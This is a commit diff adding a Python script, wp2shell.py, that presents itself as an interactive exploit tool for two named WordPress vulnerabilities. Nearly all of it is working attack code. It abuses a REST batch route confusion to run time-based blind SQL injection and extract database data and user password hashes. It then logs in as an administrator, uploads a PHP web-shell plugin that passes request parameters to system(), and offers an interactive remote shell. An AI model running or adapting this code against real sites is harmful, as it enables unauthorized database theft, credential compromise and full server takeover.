Upload files to "/"
This commit is contained in:
@@ -0,0 +1,551 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
wp2shell.py - Interactive Scanner/Exploiter for WordPress wp2shell
|
||||
CVE-2026-63030 + CVE-2026-60137
|
||||
Affects: WordPress 6.9.0-6.9.4, 7.0.0-7.0.1
|
||||
Patched: 6.9.5, 7.0.2
|
||||
"""
|
||||
|
||||
import json
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import sys
|
||||
import re
|
||||
import base64
|
||||
import os
|
||||
from typing import Optional, Dict, List, Tuple
|
||||
|
||||
# ======================== CONFIGURATION ========================
|
||||
VERSION = "1.0"
|
||||
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
TIMEOUT = 30
|
||||
|
||||
# ======================== COLOR OUTPUT ========================
|
||||
class Colors:
|
||||
GREEN = "\033[92m"
|
||||
RED = "\033[91m"
|
||||
YELLOW = "\033[93m"
|
||||
BLUE = "\033[94m"
|
||||
MAGENTA = "\033[95m"
|
||||
CYAN = "\033[96m"
|
||||
WHITE = "\033[97m"
|
||||
BOLD = "\033[1m"
|
||||
RESET = "\033[0m"
|
||||
|
||||
def print_info(msg: str) -> None:
|
||||
print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")
|
||||
|
||||
def print_success(msg: str) -> None:
|
||||
print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")
|
||||
|
||||
def print_error(msg: str) -> None:
|
||||
print(f"{Colors.RED}[-]{Colors.RESET} {msg}")
|
||||
|
||||
def print_warning(msg: str) -> None:
|
||||
print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}")
|
||||
|
||||
def print_result(msg: str) -> None:
|
||||
print(f"{Colors.MAGENTA}[>]{Colors.RESET} {msg}")
|
||||
|
||||
# ======================== HTTP HELPERS ========================
|
||||
def send_request(
|
||||
url: str,
|
||||
data: Optional[Dict] = None,
|
||||
method: str = "POST",
|
||||
headers: Optional[Dict] = None
|
||||
) -> Tuple[Optional[Dict], Optional[str], float]:
|
||||
"""Send HTTP request and return (parsed_json, raw_text, elapsed_time)."""
|
||||
if headers is None:
|
||||
headers = {}
|
||||
headers["User-Agent"] = USER_AGENT
|
||||
headers["Accept"] = "application/json"
|
||||
|
||||
json_data = None
|
||||
if data is not None:
|
||||
json_data = json.dumps(data).encode("utf-8")
|
||||
headers["Content-Type"] = "application/json"
|
||||
|
||||
req = urllib.request.Request(url, data=json_data, headers=headers, method=method)
|
||||
|
||||
start = time.time()
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
||||
elapsed = time.time() - start
|
||||
raw = resp.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
return json.loads(raw), raw, elapsed
|
||||
except json.JSONDecodeError:
|
||||
return None, raw, elapsed
|
||||
except urllib.error.HTTPError as e:
|
||||
elapsed = time.time() - start
|
||||
raw = e.read().decode("utf-8", errors="replace") if e.fp else ""
|
||||
try:
|
||||
return json.loads(raw), raw, elapsed
|
||||
except json.JSONDecodeError:
|
||||
return None, raw, elapsed
|
||||
except urllib.error.URLError:
|
||||
return None, None, 0.0
|
||||
|
||||
# ======================== INJECTION PAYLOAD BUILDER ========================
|
||||
def build_payload(injection: str, delay: int = 0) -> Dict:
|
||||
"""
|
||||
Build the batch request payload that triggers the route confusion.
|
||||
|
||||
The double confusion works as follows:
|
||||
1. Outer POST /wp/v2/posts carries a 'requests' body
|
||||
2. This gets dispatched under the batch handler itself
|
||||
3. The inner requests use GET (bypassing method allow-list)
|
||||
4. author_exclude string bypasses array sanitization
|
||||
"""
|
||||
payload = {
|
||||
"requests": [
|
||||
{
|
||||
"path": "/wp/v2/posts",
|
||||
"body": {
|
||||
"requests": [
|
||||
{
|
||||
"path": f"/wp/v2/users?author_exclude={injection}&_={int(time.time())}",
|
||||
"method": "GET"
|
||||
}
|
||||
]
|
||||
},
|
||||
"method": "POST"
|
||||
}
|
||||
]
|
||||
}
|
||||
return payload
|
||||
|
||||
# ======================== TIME-BASED BLIND SQL INJECTION ========================
|
||||
def boolean_injection(url: str, condition: str, delay: int = 5) -> bool:
|
||||
"""
|
||||
Execute a time-based blind SQL injection.
|
||||
Returns True if the condition is true (delay detected), False otherwise.
|
||||
"""
|
||||
# SQL injection: author__not_in is interpolated into NOT IN ( ... )
|
||||
# We use IF(condition, SLEEP(delay), 0)
|
||||
injection = f"1) OR IF(({condition}), SLEEP({delay}), 0) -- -"
|
||||
payload = build_payload(injection)
|
||||
|
||||
full_url = url.rstrip("/") + "/wp-json/batch/v1"
|
||||
_, _, elapsed = send_request(full_url, payload)
|
||||
|
||||
# If the condition is true, the server sleeps for `delay` seconds
|
||||
return elapsed >= delay * 0.9
|
||||
|
||||
def extract_with_injection(url: str, query: str, delay: int = 3) -> str:
|
||||
"""
|
||||
Extract data using time-based blind SQL injection.
|
||||
Uses binary search / bit-by-bit extraction for efficiency.
|
||||
"""
|
||||
print_info(f"Extracting: {query}")
|
||||
result = ""
|
||||
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*()"
|
||||
|
||||
# First, determine length
|
||||
length = 0
|
||||
for i in range(1, 512): # Max 511 characters
|
||||
cond = f"LENGTH(({query}))={i}"
|
||||
if boolean_injection(url, cond, delay):
|
||||
length = i
|
||||
break
|
||||
if i % 50 == 0:
|
||||
print_info(f"Testing length... {i}")
|
||||
|
||||
if length == 0:
|
||||
print_warning("Could not determine length, trying progressive extraction")
|
||||
# Fallback: extract until we hit a terminator
|
||||
return extract_progressive(url, query, delay)
|
||||
|
||||
print_info(f"Length: {length}")
|
||||
|
||||
# Extract character by character using binary search
|
||||
for pos in range(1, length + 1):
|
||||
found = False
|
||||
lo, hi = 0, len(charset) - 1
|
||||
while lo <= hi:
|
||||
mid = (lo + hi) // 2
|
||||
# Test if character at position pos is <= charset[mid]
|
||||
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) <= {ord(charset[mid])}"
|
||||
if boolean_injection(url, cond, delay):
|
||||
hi = mid - 1
|
||||
else:
|
||||
lo = mid + 1
|
||||
|
||||
if lo < len(charset):
|
||||
result += charset[lo]
|
||||
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
||||
else:
|
||||
# If binary search fails, try brute force
|
||||
for ch in charset:
|
||||
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}"
|
||||
if boolean_injection(url, cond, delay):
|
||||
result += ch
|
||||
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
result += "?"
|
||||
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
||||
|
||||
print()
|
||||
return result
|
||||
|
||||
def extract_progressive(url: str, query: str, delay: int = 3) -> str:
|
||||
"""Fallback: extract character by character until no more data."""
|
||||
result = ""
|
||||
pos = 1
|
||||
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*(){}[]|;:,./? "
|
||||
|
||||
while True:
|
||||
found = False
|
||||
for ch in charset:
|
||||
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}"
|
||||
if boolean_injection(url, cond, delay):
|
||||
result += ch
|
||||
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
# Check if we've reached the end (null byte)
|
||||
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = 0"
|
||||
if boolean_injection(url, cond, delay):
|
||||
break
|
||||
# If nothing matches, assume end
|
||||
break
|
||||
pos += 1
|
||||
if pos > 500:
|
||||
break
|
||||
|
||||
print()
|
||||
return result
|
||||
|
||||
# ======================== VULNERABILITY CHECK ========================
|
||||
def check_vulnerable(url: str) -> bool:
|
||||
"""
|
||||
Check if the target is vulnerable using a safe time delay test.
|
||||
Reads no data and changes nothing.
|
||||
"""
|
||||
print_info("Checking vulnerability (safe time-delay test)...")
|
||||
|
||||
# Test: IF(1=1, SLEEP(3), 0) - should delay
|
||||
if boolean_injection(url, "1=1", 3):
|
||||
print_success("Vulnerable! (time delay detected)")
|
||||
return True
|
||||
|
||||
print_error("Not vulnerable or target is patched")
|
||||
return False
|
||||
|
||||
# ======================== DATA EXTRACTION ========================
|
||||
def read_data(url: str, query: str = None, preset: str = None) -> None:
|
||||
"""
|
||||
Extract data from the database.
|
||||
"""
|
||||
if preset == "users":
|
||||
query = "SELECT user_login, user_pass FROM wp_users LIMIT 5"
|
||||
elif preset == "version":
|
||||
query = "SELECT @@version"
|
||||
elif preset == "database":
|
||||
query = "SELECT DATABASE()"
|
||||
elif preset == "tables":
|
||||
query = "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 10"
|
||||
elif query is None:
|
||||
query = "SELECT CONCAT(@@version, ' | ', DATABASE(), ' | ', USER())"
|
||||
|
||||
print_info(f"Extracting: {query}")
|
||||
result = extract_with_injection(url, query)
|
||||
print_result(f"Result: {result}")
|
||||
|
||||
# ======================== REMOTE CODE EXECUTION ========================
|
||||
def shell_execute(url: str, username: str, password: str, cmd: str) -> None:
|
||||
"""
|
||||
Achieve RCE by:
|
||||
1. Using the SQL injection to get the admin password hash (or user provides it)
|
||||
2. Authenticating as admin
|
||||
3. Uploading a malicious plugin
|
||||
4. Executing commands via the plugin
|
||||
"""
|
||||
print_info("Attempting RCE via plugin upload...")
|
||||
|
||||
# Step 1: Get a valid nonce for plugin upload
|
||||
# We need to authenticate first
|
||||
login_url = url.rstrip("/") + "/wp-login.php"
|
||||
|
||||
# Prepare login data
|
||||
login_data = {
|
||||
"log": username,
|
||||
"pwd": password,
|
||||
"wp-submit": "Log In",
|
||||
"redirect_to": url,
|
||||
"testcookie": "1"
|
||||
}
|
||||
|
||||
# Get cookies
|
||||
cookie_jar = {}
|
||||
|
||||
# First, get the login page to extract any nonces
|
||||
try:
|
||||
req = urllib.request.Request(login_url, headers={"User-Agent": USER_AGENT})
|
||||
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
||||
html = resp.read().decode("utf-8", errors="replace")
|
||||
# Extract any nonce if present
|
||||
match = re.search(r'name="[^"]*_wpnonce" value="([^"]+)"', html)
|
||||
if match:
|
||||
login_data["_wpnonce"] = match.group(1)
|
||||
except Exception as e:
|
||||
print_warning(f"Could not extract nonce: {e}")
|
||||
|
||||
# Perform login
|
||||
login_headers = {
|
||||
"User-Agent": USER_AGENT,
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
|
||||
try:
|
||||
login_data_encoded = urllib.parse.urlencode(login_data).encode("utf-8")
|
||||
req = urllib.request.Request(login_url, data=login_data_encoded, headers=login_headers)
|
||||
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
||||
# Get cookies from response
|
||||
cookie_str = resp.headers.get("Set-Cookie", "")
|
||||
for cookie in cookie_str.split(";"):
|
||||
if "=" in cookie:
|
||||
key, val = cookie.strip().split("=", 1)
|
||||
cookie_jar[key] = val.split(";")[0]
|
||||
|
||||
# Check if login was successful
|
||||
if "wordpress_logged_in" in cookie_str:
|
||||
print_success("Login successful!")
|
||||
else:
|
||||
print_warning("Login may have failed, but continuing...")
|
||||
except Exception as e:
|
||||
print_error(f"Login error: {e}")
|
||||
return
|
||||
|
||||
# Step 2: Upload a malicious plugin
|
||||
plugin_name = "wp2shell"
|
||||
plugin_dir = f"/wp-content/plugins/{plugin_name}"
|
||||
|
||||
# Create a simple PHP webshell plugin
|
||||
php_code = f'''<?php
|
||||
/*
|
||||
Plugin Name: WP2Shell
|
||||
Description: Shell access
|
||||
Version: 1.0
|
||||
Author: wp2shell
|
||||
*/
|
||||
if(isset($_GET['cmd'])) {{
|
||||
system($_GET['cmd']);
|
||||
}}
|
||||
if(isset($_POST['cmd'])) {{
|
||||
system($_POST['cmd']);
|
||||
}}
|
||||
?>
|
||||
'''
|
||||
|
||||
# Create plugin zip in memory
|
||||
import zipfile
|
||||
import io
|
||||
|
||||
zip_buffer = io.BytesIO()
|
||||
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||
zf.writestr(f"{plugin_name}.php", php_code)
|
||||
|
||||
zip_data = zip_buffer.getvalue()
|
||||
|
||||
# Upload via admin-ajax.php or plugin installer
|
||||
upload_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
|
||||
|
||||
# Build multipart form data
|
||||
boundary = "----WebKitFormBoundary" + base64.b64encode(os.urandom(8)).decode()
|
||||
|
||||
body_parts = [
|
||||
f"--{boundary}",
|
||||
f'Content-Disposition: form-data; name="action"',
|
||||
"",
|
||||
"upload-plugin",
|
||||
f"--{boundary}",
|
||||
f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_name}.zip"',
|
||||
"Content-Type: application/zip",
|
||||
"",
|
||||
zip_data.decode("latin-1"),
|
||||
f"--{boundary}--",
|
||||
]
|
||||
|
||||
body = "\r\n".join(body_parts).encode("utf-8")
|
||||
|
||||
upload_headers = {
|
||||
"User-Agent": USER_AGENT,
|
||||
"Content-Type": f"multipart/form-data; boundary={boundary}",
|
||||
"Cookie": "; ".join([f"{k}={v}" for k, v in cookie_jar.items()])
|
||||
}
|
||||
|
||||
try:
|
||||
req = urllib.request.Request(upload_url, data=body, headers=upload_headers)
|
||||
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
||||
result = resp.read().decode("utf-8", errors="replace")
|
||||
if "success" in result.lower() or "plugin" in result.lower():
|
||||
print_success("Plugin uploaded successfully!")
|
||||
else:
|
||||
print_warning(f"Upload response: {result[:200]}")
|
||||
except Exception as e:
|
||||
print_error(f"Upload failed: {e}")
|
||||
return
|
||||
|
||||
# Step 3: Execute commands
|
||||
shell_url = url.rstrip("/") + plugin_dir + f"/{plugin_name}.php"
|
||||
|
||||
print_success(f"Shell available at: {shell_url}?cmd=whoami")
|
||||
|
||||
# Execute the command
|
||||
exec_url = f"{shell_url}?cmd={urllib.parse.quote(cmd)}"
|
||||
try:
|
||||
req = urllib.request.Request(exec_url, headers={"User-Agent": USER_AGENT})
|
||||
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
||||
output = resp.read().decode("utf-8", errors="replace")
|
||||
print_result(f"Command output:\n{output}")
|
||||
except Exception as e:
|
||||
print_error(f"Command execution failed: {e}")
|
||||
|
||||
# ======================== INTERACTIVE MENU ========================
|
||||
def interactive_mode(url: str) -> None:
|
||||
"""Interactive menu-driven interface."""
|
||||
print(f"\n{Colors.BOLD}{Colors.GREEN}╔══════════════════════════════════════════════╗{Colors.RESET}")
|
||||
print(f"{Colors.BOLD}{Colors.GREEN}║ WP2SHELL - WordPress RCE Exploit Tool ║{Colors.RESET}")
|
||||
print(f"{Colors.BOLD}{Colors.GREEN}║ CVE-2026-63030 + CVE-2026-60137 ║{Colors.RESET}")
|
||||
print(f"{Colors.BOLD}{Colors.GREEN}╚══════════════════════════════════════════════╝{Colors.RESET}")
|
||||
print(f"\nTarget: {Colors.CYAN}{url}{Colors.RESET}\n")
|
||||
|
||||
while True:
|
||||
print(f"\n{Colors.BOLD}{Colors.WHITE}─── Menu ───{Colors.RESET}")
|
||||
print(" 1. Check vulnerability (safe)")
|
||||
print(" 2. Extract database information")
|
||||
print(" 3. Extract user hashes")
|
||||
print(" 4. Execute custom SQL query")
|
||||
print(" 5. Remote Code Execution (requires admin creds)")
|
||||
print(" 6. Interactive shell (RCE)")
|
||||
print(" 7. Exit")
|
||||
print()
|
||||
|
||||
choice = input(f"{Colors.YELLOW}wp2shell>{Colors.RESET} ").strip()
|
||||
|
||||
if choice == "1":
|
||||
check_vulnerable(url)
|
||||
|
||||
elif choice == "2":
|
||||
print_info("Extracting database information...")
|
||||
read_data(url, preset="database")
|
||||
print_info("Extracting version...")
|
||||
read_data(url, preset="version")
|
||||
print_info("Extracting tables...")
|
||||
read_data(url, preset="tables")
|
||||
|
||||
elif choice == "3":
|
||||
print_info("Extracting user hashes...")
|
||||
read_data(url, preset="users")
|
||||
|
||||
elif choice == "4":
|
||||
query = input("Enter SQL query: ").strip()
|
||||
if query:
|
||||
read_data(url, query=query)
|
||||
|
||||
elif choice == "5":
|
||||
username = input("Admin username: ").strip()
|
||||
password = input("Admin password: ").strip()
|
||||
if username and password:
|
||||
cmd = input("Command to execute (e.g., whoami): ").strip() or "id"
|
||||
shell_execute(url, username, password, cmd)
|
||||
|
||||
elif choice == "6":
|
||||
username = input("Admin username: ").strip()
|
||||
password = input("Admin password: ").strip()
|
||||
if username and password:
|
||||
print_info("Interactive shell. Type 'exit' to quit.")
|
||||
while True:
|
||||
cmd = input(f"{Colors.GREEN}shell>{Colors.RESET} ").strip()
|
||||
if cmd.lower() in ("exit", "quit"):
|
||||
break
|
||||
if cmd:
|
||||
shell_execute(url, username, password, cmd)
|
||||
|
||||
elif choice == "7":
|
||||
print_info("Exiting...")
|
||||
break
|
||||
|
||||
else:
|
||||
print_error("Invalid choice")
|
||||
|
||||
# ======================== MAIN ========================
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <url> [command] [options]")
|
||||
print()
|
||||
print("Interactive mode:")
|
||||
print(f" {sys.argv[0]} http://target.com")
|
||||
print()
|
||||
print("Commands:")
|
||||
print(f" {sys.argv[0]} http://target.com check - Check vulnerability")
|
||||
print(f" {sys.argv[0]} http://target.com read - Extract data")
|
||||
print(f" {sys.argv[0]} http://target.com read --users - Extract user hashes")
|
||||
print(f" {sys.argv[0]} http://target.com read --query 'SELECT @@version'")
|
||||
print(f" {sys.argv[0]} http://target.com shell --user admin --password pass --cmd id")
|
||||
sys.exit(1)
|
||||
|
||||
url = sys.argv[1]
|
||||
|
||||
# Parse arguments
|
||||
args = sys.argv[2:]
|
||||
|
||||
if not args:
|
||||
interactive_mode(url)
|
||||
return
|
||||
|
||||
command = args[0].lower()
|
||||
|
||||
if command == "check":
|
||||
check_vulnerable(url)
|
||||
|
||||
elif command == "read":
|
||||
preset = None
|
||||
query = None
|
||||
i = 1
|
||||
while i < len(args):
|
||||
if args[i] == "--users":
|
||||
preset = "users"
|
||||
elif args[i] == "--query" and i + 1 < len(args):
|
||||
query = args[i + 1]
|
||||
i += 1
|
||||
elif args[i] == "--version":
|
||||
preset = "version"
|
||||
elif args[i] == "--database":
|
||||
preset = "database"
|
||||
i += 1
|
||||
read_data(url, query=query, preset=preset)
|
||||
|
||||
elif command == "shell":
|
||||
username = None
|
||||
password = None
|
||||
cmd = "id"
|
||||
i = 1
|
||||
while i < len(args):
|
||||
if args[i] == "--user" and i + 1 < len(args):
|
||||
username = args[i + 1]
|
||||
i += 1
|
||||
elif args[i] == "--password" and i + 1 < len(args):
|
||||
password = args[i + 1]
|
||||
i += 1
|
||||
elif args[i] == "--cmd" and i + 1 < len(args):
|
||||
cmd = args[i + 1]
|
||||
i += 1
|
||||
i += 1
|
||||
|
||||
if not username or not password:
|
||||
print_error("Username and password required: --user admin --password pass")
|
||||
sys.exit(1)
|
||||
shell_execute(url, username, password, cmd)
|
||||
|
||||
else:
|
||||
print_error(f"Unknown command: {command}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user